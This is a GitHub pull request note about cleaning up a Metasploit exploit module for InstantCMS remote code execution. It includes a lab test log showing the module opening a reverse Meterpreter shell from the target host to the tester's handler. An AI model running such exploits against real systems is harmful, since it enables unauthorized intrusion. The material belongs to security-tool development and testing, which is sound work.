Improve and clean instantcms_exec

Hi @ricardojba

This pull request tries to improve and clean https://github.com/rapid7/metasploit-framework/pull/2043 . Feel free to test, ask, discuss any change, etc. And once you feel comfortable land it into your repo and the original pull request will be automatically updated, and ready to go!

Test after changes:

```
msf > use exploit/unix/webapp/instantcms_exec 
msf exploit(instantcms_exec) > set rhost 192.168.172.130
rhost => 192.168.172.130
msf exploit(instantcms_exec) > check
[+] The target is vulnerable.
msf exploit(instantcms_exec) > exploit

[*] Started reverse handler on 192.168.172.1:4444 
[*] Executing payload...
[*] Sending stage (39195 bytes) to 192.168.172.130
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.130:55006) at 2013-07-03 11:37:33 -0500


^C[-] Exploit failed: Interrupt 

meterpreter > getuid
Server username: www-data (33)
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.130 - Meterpreter session 1 closed.  Reason: User exit

```

Regards,

juan